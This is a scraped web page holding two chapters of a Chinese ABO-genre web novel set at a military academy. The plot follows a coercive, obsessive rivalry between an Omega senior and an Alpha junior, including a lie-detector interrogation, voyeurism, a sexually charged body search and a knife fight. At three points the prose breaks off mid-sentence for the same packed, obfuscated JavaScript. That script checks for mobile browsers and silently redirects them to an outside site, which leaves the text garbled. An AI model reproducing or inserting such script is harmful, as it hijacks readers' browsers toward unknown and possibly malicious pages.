龙乾眼神骤然暗了下去:“你什么意思?” 兰舒轻声道:“我还以为你有更想问的话,比如——” 龙乾最看不得他这副明明身处下风还游刃有余的样子,当即掐着他的下巴道:“比如什么?” Omega被迫仰着脸,唇角还挂着血,一眨不眨地看着他的眼睛:“比如——我的丈夫。” 空气突然凝滞了。 龙乾的脸色肉眼可见地降到了冰点,他死死地盯着怀中人的眼睛,几乎抵在了兰舒的脸上,语气阴森得好似要把他吞吃入腹一样:“学长,我对你那个狗屁前夫,一点——都不感兴趣。” 他把姿态拿得无比足,好似真的无动于衷一样。 兰舒轻飘飘道:“是么。” 龙乾终于被他这副模样激怒了,恼羞成怒之下什么话都敢说:“你不愿意承认当年的诺伊就是你,到底是不见棺材不落泪,还是为了隐瞒背后的原因?” 兰舒心下猛地一跳,哪怕是表面上伪装得再好,可如此近的距离下,龙乾还是一瞬间便捕捉到了他的异样。 ……脑子太灵光也惹人讨厌,兰舒垂着眼睛如此想到。 原本暗流之下的隐情被人没轻没重地搬上台面,兰舒陡然闭了嘴,苍白着脸色别过头,脸上寡淡得没有任何表情,只有嘴角的鲜血红得刺目,俨然一副非暴力不合作的样子。 本就凝滞的气氛一下子僵持在了这里。 龙乾看见兰舒这副模样就来气,忍不住舔了舔虎牙,但他深知若是兰舒当真不想说,哪怕被磋磨致死,恐怕也不会泄露出一个字。 毕竟兰舒就是这样一个骨头硬到咬碎了吞下去都能扎穿喉咙的人。 ……不能把他逼得太急了,得想个松弛有度的办法。 龙乾在狭窄的空间中一眨不眨地看了那人良久,突然松了语气:“既然学长不愿意说……那便罢了。” 兰舒闻言一顿,显然不相信他能有这么好心,当即抬眸看向他。 “不过,”龙乾果不其然紧跟着便道,“学长这么大一个秘密在我手里,不会哪天灭我的口吧?” 兰舒闻言垂下眸子:“……不会。” 似是被他难得一见的顺从给讨好到了,龙乾满意地笑了一下,却依旧没有松开桎梏兰舒的双手,人也没退开。 兰舒见状暗骂一声,心说这王八蛋几年过去了怎么还是这么难缠:“……你到底想如何?” “不如何。”龙乾轻描淡写道,“我从始至终的目的只是进校队而已。” 言下之意,是兰舒一直在用权力阻碍他,可兰舒闻言没有丝毫愧疚之意:“那你现在通过测试,得偿所愿了。” 龙乾想要的显然没有这么简单:“学长,我要进的可不是预备队,而是真正的校队。” 眼下学校选出的只是预备队名单,最终的校队名单要以末位淘汰机制,从这批学生中筛选出来。 而龙乾的意思就是要兰舒保证他能够进入最后的校队,中间不出任何差错。 兰舒原本打算勉强稳住他,进了训练队后再找机会把他淘汰出去,眼下听了这话自然心下“啧”了一声:“校队筛选公平公正,不是我一个人说了算的。” “不需要说了算,只要能保证公平公正就算学长疼我了。”龙乾笑了一下,眸色深不见底道,“不过可能得辛苦学长多多关照了。” 兰舒听到这里终于明白了龙乾的意思——这是要他在训练中给这小子当私教,而且警告兰舒不要动手脚,不然就把事情抖出去,谁也别想好过。 兰舒深吸了一口气,半晌不情不愿地从牙缝中挤出来一个字:“……好。” 然而一味的纵容,只会让人得寸进尺。 “那就多谢学长厚爱了,不过还有一件事——”龙乾好整以暇道,“方才的赌局还作数吗?” 眼下,兰舒大腿上的针孔被人牢牢地抵着,双腿完全合不拢,下巴上还挂着血——虽然不是自己的,但他依旧没得选:“你想问什么?” 龙乾闻言没有在第一时间回答,他一手按着兰舒的肩膀,一手打开了测谎仪。 脖子上传来一阵微妙的震动感,兰舒忍不住蹙了蹙眉,他原本以为这人会问什么“你亡夫信息素到底是什么味”之类的问题。 正当他大脑飞速旋转怎么搪塞过去时,龙乾却给出了一个让人意想不到的问题:“我之前在学校里听过一个传闻……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133921|164241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“有人说是你亲手杀了你的前夫。”他垂眸一眨不眨地看着兰舒:“是真的吗,学长?” 原本微妙的气氛因为这一句话蓦然间变成了一片死寂。 过了良久,兰舒终于淡淡道:“是吗?那你就当是我杀了他吧。” 测谎仪没有响。 不过这也在情理之中,毕竟兰舒把话说得模棱两可,并不算假话。 龙乾挑了挑眉,在硝烟弥漫中看着他:“杀人偿命——这可不比间谍罪轻,学长就不怕我告你上军事法庭吗?” 提起死去的丈夫,兰舒的情绪比以往任何一次都要冷淡:“那你去告吧。” 外人可能看不出来,只当他真不在意,唯独龙乾一眼就看出来——这人不高兴了。 像是被踩到尾巴的猫一样,毛都炸起来了却还要强装淡定。 他并不在意别人提起他的亡夫,却很抵触提起他亡夫的死因。 像是触及了蛇身上的逆鳞,往常再怎么淡漠的人,此刻也忍不住露出了獠牙。 但为了防止龙乾通过他的情绪波动而窥探到更多的隐秘,他硬生生忍下了那股怒意,用冷漠的壳子将自己包裹起来,拒绝一切窥探。 龙乾见状蓦然间升起了一股无名火,他自己都不知道自己到底有什么资格生气,却还是控制不住地压低了身体。 兰舒瞳孔骤缩,几不可见地抿了抿唇,瞬间绷紧了身体——这人靠得实在是太近了。 被侵.犯的感觉迫在眉睫,兰舒下意识收紧了小腹。 龙乾看出了他的抵触,心头火气更胜,面上强压着不爽故作嘲讽道:“别装了,学长,我可不信你会是那种手段低劣到杀夫都杀得人尽皆知的Omega。” 这种夸奖的话从他嘴里说出来实在是新奇,兰舒顿了一下,抬眸刚想说什么,紧跟着便听龙乾道:“他要真是你杀的,你只会把每一处细节都藏的严严密密,不会有任何风声传出来,从而制造出一起完美犯罪。” 兰舒睫毛一颤,像是被戳到了什么心事般,当即移开了视线。 “只不过,我只好奇一件事……”龙乾见状,话里夹杂着毫不掩饰的恶意,“你到底是有多恨你前夫啊?” “就这么任由这种谣言甚嚣尘上,他可真是个可怜虫。” ——和我一样的可怜虫。 后面的未尽之语像是苦涩的果汁般被龙乾尽数咽下,却品出了一丝难以言喻的快意。 兰舒闻言颤抖着睫毛没有回话,看起来似乎是默认了。 过了很久,正当龙乾沉浸在他自己都未察觉的快意中时,兰舒却突然道:“我不恨他,我爱他。” 龙乾一下子愣住了,下一刻,兰舒垂着睫毛,终于指出了Alpha从始至终故意都在故意混淆的词汇:“还有……不是前夫,是亡夫。” ——哪怕他已经“死去”,可他在我的心中,依旧是我独一无二的丈夫。 他的语气平静到了极致,好似心已经随着那个人化作了尘土一般,面色更是苍白得没有任何波澜。 如此平静的话语,龙乾听闻却宛如雷劈般,大脑轰然一声炸开,整个人蓦然僵在了原地。 先前口口声声说什么不在乎兰舒亡夫的他,回神之后第一反应却是立刻看向一旁的测谎仪。 但测谎仪没有响。 说明是真的。 那不是虚构,也不是故意说给他听的噱头,兰舒真真切切地,爱着他那个死去的丈夫。 爱到哪怕是“前夫”两个字都不愿意用,爱到将未亡人三个字演绎的淋漓尽致。 15.忏悔 狭窄的空间内,气氛突然安静到了极致。 龙乾的面色一瞬间竟然有些茫然,似乎不太理解发生了什么。 说完那句话后,兰舒垂下眸子,面上平静得宛如一汪湖水,只有他自己知道自己的心下在滴血。 过了大概有半分钟,兰舒感觉到那人的视线缓缓落在了自己脸上,但他没有抬头,只是有些麻木地舔了舔嘴角的血。 Alpha的血烫得他胃中发麻,可他还是忍不住想要将它吞食下去,那自虐一般的行径中,藏着只有他自己清楚的病态。 龙乾的目光顺着脸颊滑到了他嘴唇上,兰舒依旧没有动。 方才那么明显的拒绝,可以说是把Alpha的自尊按在地上踩。 以兰舒对龙乾的了解,这人回神之后应该会恼羞成怒到转身就走,甚至日后都不愿再和他有任何纠葛。 然而……兰舒算错了。 龙乾面色阴沉,看起来确实很生气,但并未像他想象中那么生气。 那人似乎在兰舒看不到的地方,已经被伤到了千疮百孔,以至于眼下除了略微的阴郁外居然没有太大的动静。 过于平静的死寂让兰舒心下一跳,正当他忍不住抬眸时,那人突然掐住他的下巴,用拇指狠狠地碾过了他的下唇。 那动作看似是在抹去鲜血,实际上是故意把手上的血往兰舒嘴里灌。 “……!” 兰舒猝不及防被喂了一大口血,浓郁的信息素顺着喉管一路往下,烫得他喉咙紧缩,小腹也被烧得发麻。 龙乾就那么看了他半晌,随即竟扯出来了一个笑容:“抱歉,我不知道学长对前夫的感情居然那么深,刚刚是我说错话了,还请学长不要介意。” 方才分明已经指出了他的口误,这人却一点改口的意思都没有。 兰舒见状心下一沉,面上抿了抿唇没有接话。 龙乾丝毫不在意兰舒的态度,反而继续笑道:“那接下来的训练,还请学长多多指教了。” 说话间,他松开了对方的下巴,随即把自己完好无损的左手递到了兰舒面前。 兰舒的脸色不出意料地沉到了谷底,只不过沉下去的原因却和龙乾猜测的大相径庭。 他只用余光便能看到龙乾故意没有递过来的右手,那上面鲜血淋漓,堪称一片狼藉。 时至今日,这小子的疯劲没改,下意识藏伤口的坏毛病倒是也没改。 虽然龙乾方才对他威逼利诱时恨不得把膝盖都给顶进去,虽然那狰狞的伤口就是兰舒自己咬的,但无论如何,他眼下还是没出息的心疼了。 兰舒定定看了那人三秒,随即一把拍开了他递过来的左手。 龙乾见状一哂,似乎早猜到了他的反应,没有丝毫失落之情。 可下一秒,一张硬质的卡片却被兰舒掏出来摔在了他的怀中。 龙乾一愣,低头看去,却见那竟然是兰舒自己的ID卡。 Omega语气冰冷道:“明天训练开始之前治好你的手。” ……? 龙乾蓦然间僵在了原地。 他捧着ID卡坐在那里,活像是刚刚出台的牛郎,被富家O砸了金卡后手足无措到连话都不知道该怎么讲了。 兰舒没管他,扔下ID卡后转身便下了机甲,此刻他浑身上下都是血味和Alpha信息素的味道,活像是刚从发情期结束一样,连胃里都泛着滚烫的灼烧感。 他随便擦了擦身上的血,选了一条基本没人的偏僻小路,冷着脸向校医院走去。 医疗水平高达发达的今天,像龙乾那种外伤,根本不需要去校医院,只需要拿着ID卡到最近的医疗舱自己治疗就行了。 但像兰舒这样涉及到生理问题的,还是要医生亲自问诊才可以。 军校给Omega和Beta配备了单独的校医院,兰舒在挂号的医生面前坐定,没等对面询问,便直截了当道:“我发情期快到了,但我之前有过滥用抑制剂的前科,如果现在再打一针抑制剂,之后会出现什么情况?” 校医听到滥用两个字后,脸色明显严肃了下来:“你上次打抑制剂是什么时候?” “……三年前。” 医生闻言露出了些许困扰的神色:“三年的时间理论上风险很低……你之前的滥用情况大概是什么样的?” 兰舒闻言移开了视线:“当时为了考军校,应该持续了一段时间,具体多久记不清楚了。” 医生劝道:“如果你十分担心自己身体情况的话,最好还是找义工进行暂时标记吧,这是最保险也是最安全的办法。” 说完,见兰舒面上似乎有顾虑,医生又补充道:“刚好校医院最近在组织开学体检,对于体检合格的Alpha,我们都会鼓励他们将信息录入义工系统。校内的义工系统是双盲的,根据录入时间和需求者的要求进行随机匹配,这点你可以放心。” 义工,这个选项再次被搬到了兰舒面前。 义工进行暂时标记的过程不需要任何肌肤接触,只需要用特制的针将信息素抽出,再注射进Omega的腺体即可。 在这一过程中Omega可以打麻药,不会经历和Alpha义工一样的痛苦,待标记结束后覆盖上抑制贴,更不会有人知道发生了什么。 然而整个过程却不像上面描述得那么单纯,毕竟整个过程再怎么不需要接触,其本质上还是暂时标记。 时至今日,依旧有相当一部分人对AO之间的标记行为看得无比重要。 正因为如此,很少有年轻的Omega愿意接受这种帮扶。 除了思想上的影响外,其实大部分适龄Omega只要愿意,勾勾手就会有无数Alpha前仆后继地给予他们标记,根本没必要选择义工这一条路。 也只有兰舒这种罕见到极致的情况,才会认真考虑这种方法了。 “……我知道了,回去考虑一下。” 兰舒说完拿着杯子起了身,可正当他准备出门时,那种熟悉的被监视感突然涌现,他动作猛地一顿,没有在第一时间回头,而是用余光状若无事地瞟了过去。 ——拐角处站着一个拿药排队的男性Beta,看起来就是一个平平无奇的患者。 兰舒平静地看了他三秒,半晌攥紧杯子转身向宿舍走去。 * 夜幕降临,宫巍心中五味杂陈地走在路上,白天发生的一切让他既挫败又忐忑。 平日对他很好的两个舍友今天有事,没能和他一起回宿舍,这也就意味着他很可能要单独面对龙乾了。 就这样忐忑了一路,看到宿舍内没有亮光时,他还小小地松了口气。 于是他毫无防备地推开了宿舍门,而后整个人瞬间便愣在了原地。 只见昏暗的宿舍内,龙乾拿了把刀坐在床沿上,心情似乎不错地转动着手中的匕首。 宫巍一时间被吓得汗毛倒立,浑身上下每一个毛孔都在让他快跑,可脚上反而跟灌铅了一样,僵在那里一动也动不了。 “回来了?”未曾想龙乾看到他居然神色如常地和他打招呼,“晚上好。” 他态度自若得好似白天那点龃龉完全不存在一样。 宫巍见状头皮发麻,很明显看出了这人状态不对劲,声线中都带着颤抖:“龙哥,你这是干什么……刀可是违禁品……” “嘘——你不说出去没人知道。”龙乾语焉不详道,“这学校里面的违禁品多着呢。” 宫巍闻言一愣,敏锐地听出了他话里有话的意思,但没等他询问龙乾到底是什么意思,那人便攥着匕首躺在了床上。 恐吓完了没出息的情敌,龙乾突然觉得没有意思。 兰舒眼里只有他那个狗屁亡夫,恐怕连宫巍是谁都不知道,跟他较劲没有任何意义。 龙乾靠在床头看着手中光洁的刀尖,此刻的心态和白天相比产生了翻天覆地的变化。 兰舒就是当年的诺伊,他身上显然藏着数不清的谜团,但可以肯定他一定不是间谍,不然陆熙作为天枢的校长兼上校,对他不会是那种态度。 可无论有多少借口,龙乾深知自己依旧在明知不对的情况下包庇了兰舒。 既然如此——监管对方便是他的责任。 龙乾一边这样想着,一边面无表情地把匕首放在自己完好如初的手心。 既然普通的疼痛已经不足以让自己苏醒了,那便直接用刀割。 而且……龙乾攥着匕首,用余光瞟了一眼被吓到不敢动弹的宫巍,心下泛起了一股说不清的扭曲快意。 ——有些人甚至连上桌的资格都没有。 他们从来都不一样。 * 夜色渐深,整个Alpha宿舍已经全部熄了灯,大部分人都沉睡到了梦境之中,其中也包括龙乾。 只不过和其他人的梦比起来,他的“梦”香艳得有些非同寻常。 昏黄的光线下,披着浴巾的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15139276|164241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' Omega拿着光脑靠在床头,自上而下看去,从胸口到腿根的风景堪称一览无余。 白天吞了Alpha血的兰舒,大脑被烧得昏昏沉沉的,连反应能力都迟钝了很多,完全没有意识到自己此时正在被什么人窥视。 ……好甜。 充满柠檬海盐味的鲜血早就已经不见了踪影,可Omega还是忍不住回味着那股腥甜,半阖着眼下意识舔了舔嘴角,像是在讨吻。 他浑身上下烫到不敢穿衣服,只能虚虚地裹着浴巾,在黑暗中一边喝着酒,一边浏览起了义工系统。 光脑之上,无数Alpha的个人信息被系统抹去,只剩下他们的信息素水平和模糊的年龄情况。 兰舒随便一眼看过去,连一个A级以上的信息素都没看到。 他不由得蹙了蹙眉,不死心又滑了几页,好不容易看见一个A级信息素的Alpha,后面的备注却显示——年龄:18-20。 这意思其实就是没成年。 兰舒一口气差点没上来,因为先前的一些事情,他对于性成熟但是法律意义上没有成年的Alpha敬谢不敏。 他又喝了一口酒,把那个没成年的小孩拉入黑名单后,继续往下翻找了起来。 可浏览着浏览着,兰舒烫到一团浆糊的脑海中突然意识到了什么——他此刻为了达成目的,正在考虑让一个陌生的Alpha,将信息素注入到他的腺体中…… ——这算不算背叛? 兰舒心下猛地一跳,昏昏沉沉的大脑登时出现了一瞬间的清明。 当他再一次定睛看向光脑时,无数陌生Alpha的信息突然汇成了一张网,裹着他向愧疚的深渊堕去。 难以言喻的负罪感混杂着某种羞耻浮上心头,兰舒攥着光脑的手指一瞬间甚至有些发白。 他深知自己还有一条路可以选……但是不行。 兰舒死死地咬着下唇,宁愿从系统中选择完全陌生的Alpha,也不愿意再拖那人下水了。 毕竟那人已经为他“死”过一次了,而且“死”得千疮百孔…… 形如肢解。 这四个字一出,兰舒蓦然闭了闭眼,强迫自己忍下了心中的羞耻。 就这样做了大概一分钟的心理建设,他才终于敢睁开眼,再次浏览起了义工界面。 然而,在他没有看到的地方,什么人含着淬了毒的妒忌,旁观了他的一切挣扎和最终的妥协。 看着他在道德面前苦苦压抑,最终却屈从于了现实。 ——学长,你不是说要对你的前夫守贞吗?你不是说要对他保持绝对的忠诚吗? 骗子。 原来不只是那个死人,原来谁都可以,哪怕是陌生的Alpha对你来说也无所谓…… ——既然如此,那为什么那个人不能是我呢? 兰舒对黑暗之中滋生出的嫉妒和扭曲一无所知,他含着冰块在义工系统内翻了半天,却并未能翻到合适的人选。 心头涌起了一股不知是庆幸还是失落的情绪。 兰舒叼着冰块微微走神,他深知自己的生理情况,信息素等级太低的Alpha根本标记不了他,来了也只是徒劳。 最终,他在系统中匿名发布了一条需求,其中特意强调了对义工信息素的要求——至少A级以上。 【义工招募发布成功,一般情况下一天内出匹配结果,请您耐心等待。】 兰舒定定地看了那行字三秒,随即蓦然关上了光脑。 他安安静静地在那里坐了良久,缓缓抬眸看向了墙上的照片。 黑暗之中,Omega的眼神有些说不出的闪烁,似乎是找义工所带来的微妙愧疚,又似乎是白天那口血的影响,让他有些不敢直视那人的眼睛。 最终,他直起身取下了那张照片,浴巾随着这个动作滑落,滚烫的肌肤一瞬间全部暴露在了空气中。 兰舒将照片没有丝毫阻隔地搂到怀里,掀开被子躺在了床榻上。 白皙的肌肤携着桃花的芬芳,一起碾过照片上那人的英俊容颜,胸口再一次被挤压得变了形,在黑暗中香艳得一塌糊涂。 “……马上奥赛了,我需要一个义工给我一个暂时标记。”微妙的背德感让兰舒有点羞耻地低下头,耳根红透了,手上不自觉地用力,几乎要把照片嵌到怀里。 “你别生气……” Omega搂着那张照片小声忏悔道:“……老公。” 16.搜身 即将背德的Omega躺在黑暗中对着亡夫遗像诉说着自己的罪孽,祈求得到丈夫的宽恕。 可惜死人就是死人,听到他祷告的没有亡夫,只有一个恨得牙都快咬碎的宿敌。 没有任何布料的阻挡,龙乾就那么被人结结实实地搂在胸口。 此刻他的大脑好似被分成了两半,一半烧得几乎冒烟,另一半却恨不得一口咬在那人肩膀上,在对方吃痛的呻吟声中,质问他到底为什么宁愿找一个陌生的Alpha义工,也不愿选择自己。 那股恨意甚至压过了其他所有情绪,只是龙乾自己也说不清,他到底是在恨兰舒三贞九烈下的放纵,还是在恨他放纵的对象不是自己。 轻声忏悔过后,Omega像什么大型的猫科动物一样,低头蹭了蹭照片,而后缓缓闭上了眼睛。 黑夜最终掩藏了所有的恨与爱,白昼再次降临时,一切都归于了寂静。 清晨模拟出的第一缕阳光刚刚洒在大地上,预备队的三十名新生已经在训练场集合完毕了。 他们的课由学院方统一停掉,接下来的两个月里,他们中有能力留在队内的将继续以训练为主,而不幸被中途淘汰的,则会再一次回到原本的课程中。 本次参赛的名额包括替补选手在内一共有二十人,这也就意味着注定有十个人会被淘汰。 而在这二十个名额中,众人心照不宣——兰舒的名额已经被内定了。 首席的地位不容撼动。 所以其余的二十九人要去争夺剩下的十九个名额,入选概率进一步降低,因此所有人都在第一天便拿出了百分之一百的紧张感和专注度。 当然,除了龙乾。 他完全不担心自己的实力,只在乎某人会不会履行承诺,不给他下任何绊子。 兰舒穿着白色作训服刚走到台上,还没来得及观察其他人的神情,一低头便撞上了龙乾沉得好似要拧出水的表情。 他蓦然一顿,第一反应竟是心虚,紧跟着心头才浮现了一丝疑惑——这小子昨天不还得意的恨不得把尾巴翘上天吗,今天这是又怎么了? 然而兰舒心虚归心虚,面上却对龙乾的凝视无动于衷,收回视线看向了下面的其他新生。 众人被他看得下意识挺直了脊背。 正当大家认为兰舒会说些什么鼓舞士气的话时,那人却冷淡地单刀直入道:“奥赛,全称奥林匹克军事竞赛,一共分为四个赛段,具体是哪四个我就不在这里赘述了,接下来进入今天的正题——个人赛。” “至于为什么不讲后面的三类比赛,”兰舒说到这里顿了一下,语气平静道,“因为没有必要,你们中会有人在这一轮就被淘汰,做好心理准备。” 此话一出,全场鸦雀无声。 谁都没有想到他一上来招呼都不打一声,便直接说出了这么残酷的话。 然而没等众人消化适应,兰舒便自顾自地讲起了比赛流程:“个人赛,顾名思义,全靠个人能力完成的比赛,其评分机制非常简单,合规杀死一个敌人为一分,被其他人杀死则比赛结束。” “赛事组会在个人赛开始前的一天通知参赛者相关的比赛区域,在往年的七届比赛中,个人赛区涵盖星空乐园、A-09荒星、露西亚首都星等一系列你们能想象或者想象不到的地方。” 说到这里,兰舒顿了一下,很明显接下来是要讲重点了:“而在这些区域内,一定,注意是一定会有赛事组安排的‘平民’出现。一旦‘杀死平民’,你们个人的比赛资格便会被彻底取消,将不得参加后续的任何赛事。” 众人闻言呼吸一紧,连冷着神色心不在焉的龙乾也跟着蹙了蹙眉。 兰舒继续道:“所以这是我要强调的最重要的一点——个人赛阶段,你们一定要在保证自己不伤害平民的情况下率先考虑如何存活,而后再思考如何杀死敌人。” 一百个军校的参赛者散落在一个城市内,想要短时间中分辨出“平民”和参赛者的区别,对于受过训练的军校学生来说,似乎并不是什么太艰难的事情。 然而—— “伪装平民在军事法中是不被允许的,在比赛中自然也属于违规现象,一经发现便会直接取消比赛资格。” “但现实中,有些排名倒数的军校实力不济,便会故意派人制造违规,以此来阻挡我们在个人赛中和他们拉开差距。” “所以——提防并识破伪装成平民的敌人。”兰舒说着扫视了一圈,“这便是你们今天的训练重点了。” 大部分入队的人都对个人赛的赛制有所了解,但他们完全万万没想到居然还有这种宁愿违背军事法也要阻碍他们的不要脸战术,一时间显得有些愕然。 “接下来的时间,你们可以两两组合,自由进行对练。”兰舒说着拿出了一枚纽扣,“比赛时,真正的平民没有信物,而参赛者均有各自的信物。扮演平民的同学可以用身上携带的东西作为信物,将它藏好,不要被‘攻击者’找到。” “在‘平民’卸除伪装之前,‘攻击者’不能动手,十分钟之内如果没有找到信物,‘平民’获胜,如果找到信物,那么最终自由搏击胜利的一方获胜。” 兰舒一周说过的话可能都没今天这么多,语速肉眼可见地快了起来:“今天是周五,给你们三天的时间进行模拟,下周一进行随机分组测试,排名最后的三个人将会被筛选出局。” “好了,我话说完了,现在可以开始组队了。” 他后面一段话说得相当快,众人的耳朵还没跟上,话音便已经戛然而止了。 大家闻言面面相觑,过了大概十几秒,几个互相熟络的同级生才率先有了动作,走到一起商量了起来。 兰舒转身下了台,刚走到拐角处还没站定,便感觉身旁压过来了一道身影,他脚步一顿,一扭头却见来者竟是他的同班同学——丹尼尔·亚罗斯夫。 “兰,”那个走特招渠道进校的纯血露西亚人朝他露出了一个笑容,用蹩脚的华夏语问道,“你有人了吗?” 兰舒听了这话眉心一跳,第一反应是看向他的身后。 果不其然,下一刻,一只手凭空出现在露西亚人身后,按着他的肩膀骤然一拉——丹尼尔猝不及防被拉了个踉跄,可那嚣张的Alpha看都没看他一眼,径自越过他站定,面色极度不愉地看向兰舒。 露西亚人本就以身高为其他人称道,眼下却被一个二年级生挡了个严严实实,丹尼尔不由得一愣。 “学长,”他听到那个年轻的Alpha如此称呼兰舒,“别忘了你答应我的事。” 兰舒看了那Alpha三秒,突然抛起了手中的纽扣,那人的目光下意识跟了过去,可没等他抬手去接,兰舒骤然抓住了那枚纽扣,隔绝了他的一切视线。 旁边的丹尼尔看得一愣一愣的,心下没由来地升起了一个非常冒犯的想法——兰看起来好像是在逗他心爱的小狗。 此念头刚冒出来,还没等他细想,龙乾蓦然扭头,神色冰冷地看向他,那眼神似乎在说:你怎么还没滚? 哦,现在兰的小狗在朝自己呲牙了。 高大的露西亚人猛的回神,连忙摆手道:“对不起,我突然想起来之前和莉莉商量好了……” 他一边摆手一边顶着某人冰冷的视线往后退,退到转角处后,连忙转身离开了。 确定那露西亚人不见了踪影,周围十米之内也没有其他威胁后,龙乾这才沉着脸色收回了目光。 然而他刚转过头,却见Omega几不可见地笑了一下,见他看过来,那人立刻收了笑意,又恢复了那副游刃有余的模样:“看清楚信物了吗,学弟?” 龙乾顶着他手心里的那枚纽扣:“……看清楚了。” “那就好。”兰舒收了笑意,命令道,“转过去。” 龙乾看了他三秒,最终一言不发地转过了身。 背后传来窸窸窣窣的声音,那似乎是兰舒藏东西的动静。 可惜通过声音,并不能确定他到底把那枚纽扣藏在了身上的什么地方。 “好了,转过来吧。” 龙乾转过身,兰舒展示了一下自己手无寸铁的情况:“现在,我在外表上看起来是一个普通的‘平民’,按照军事法,你不能对我动手。” “话我说完了,计时开始。” 倒计时开始滚动,龙乾眯了眯眼道:“如果我赌你不是平民,可以直接动手吗?” “赛场上你当然可以拿你自己的前途去赌,我不拦着。”兰舒不容置喙道,“但现在——不行。” 他分明赤手空拳,却傲慢得不可一世。 龙乾牙根发痒,直勾勾地看了兰舒半晌道:“那我有权对平民进行搜身吗?” “当然。”兰舒瞟了一眼龙乾的手指,略显暗示意味道,“但你无权对平民动粗。” 龙乾闻言露出了一个未达眼底的笑:“知道了,学长放心。” 这小子的称呼一会儿一个样,兰舒瞟了他一眼没接话,垂眸举起了双手,俨然一副顺从的平民模样。 龙乾见状一点客气的意思都没有,两步走到他面前,攥着手腕便自上往下地搜起了身。 Alpha心无旁骛地按过怀中人的每一寸身体,连腰侧都没有放过。 兰舒穿的衣服并不厚,足够他清楚地感知到躺在自己腰侧的温度。 他忍不住垂眸,却见那人顺着动作在自己面前半蹲了下来。 那双手划过兰舒的腰线继续向下,按压完双腿外侧后,龙乾就着那半蹲的姿势道:“把腿分开。” 兰舒看了他三秒,竟当真轻轻分开了双腿。 龙乾顺着小腿内侧一路摸了上来,指尖似是不经意地擦过了那处针孔。 此刻它已经到了愈合阶段,不再隐隐作痛,只剩下了轻微的麻痒。 眼下被人没轻没重地一碰,兰舒忍不住一颤,当即夹着那人的手轻声道:“你这种搜身手法,在比赛现场是会被Omega保护协会录像起诉的。” “是吗?”龙乾从地上站了起来,垂眸看着他的眼睛,“那你尽管去告我吧。” ——如果你想那件事闹得人尽皆知的话。 兰舒听出了他的言外之意,沉默了半晌道:“检查完了吗?” “没有。”高大英俊的Alpha说出了和他方才一样的命令,“转过去。” 兰舒转身对着面前的墙壁,身后人毫不客气地从脊椎一路摸到腰线,可惜依旧一无所获。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15147153|164241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>兰舒垂眸提醒道:“你还有最后五分钟。” 龙乾闻言直起身,忍不住看向他的后颈眯了眯眼。 ——这人不至于把性别优势用到这么极致吧? 身后人半晌没了动静,眼见着时间已经来到了最后四分钟,正当兰舒以为他打算放弃时,身上某个部位传来的触感却让他猛地一顿。 Omega缓缓垂下眸子,看着那双从身后探到自己胸口的手:“这不合规矩吧……先生?” 先生两个字从他嘴里喊出来冷淡而漠然,可不知道为什么,这反而形成了一股难以言喻的反差。 龙乾手上蓦然用力,一下把人抵在了墙上,掐着那处地方阴森道:“能把东西藏在这里的人,才是真正的不合规矩吧?” Omega性别在比赛中确实是极其特殊的保护色,只可惜龙乾似乎并不吃这一套。 兰舒侧眸看向他,眸色漂亮得像是某种昂贵的琥珀。 两人对视了三秒,下一刻,情况却陡然生变—— 龙乾掐着怀中人的手腕劈手就要去夺纽扣,他自诩在这种距离内完全有机会赢过兰舒。 但很可惜,他还是低估了这人的手段。 兰舒分毫未躲,反手竟从胸口处拔出一把匕首,侧身便向龙乾的耳边刺去! 龙乾万万没想到他居然藏了刀,猝不及防之下连忙后撤,却还是被割开了领口,刀锋只差不到半指的距离便能割开他的动脉。 没有成功并不是因为他反应快,而是因为兰舒手下留情了。 心跳和肾上腺素一起飙升,眼见着刀尖再次袭来,龙乾甚至没有思考,抬手一把便攥住了刀刃,鲜血沿着刀锋淌了下来。 兰舒见状瞳孔骤缩——这小子最近到底怎么回事? 他手上猛然用力想要夺回匕首,可刀柄处传来的巨力瞬间便让他改变了战术,当即选择了弃械。 兰舒松手的一刹那,侧身一脚踹掉了龙乾手里的匕首。 蘸血的匕首一下子滑到了角落,眼见着时间还剩下最后一分半,两人再次回到了最公平的肉搏战,眨眼间便过了十几招。 可这处角落不再是机甲那样狭窄的地方,反而宽阔到龙乾再怎么高大也没办法瞬间缩小两人之间的距离。 Omega用丰富的战斗经验,给只会取巧的Alpha结结实实地上了一课。 龙乾被人一脚踹在墙上后,咬着牙凶相毕露,竟还想起身反击。 兰舒见状挑了挑眉,抬起一边膝盖压在那人肩膀上,缓缓用力强迫他向下跪去。 可龙乾显然还是不服,抬眸之间的戾气几乎要溢出来了。 Omega见状嗤笑一声,抬手拽着领子直接将人撞在了角落。 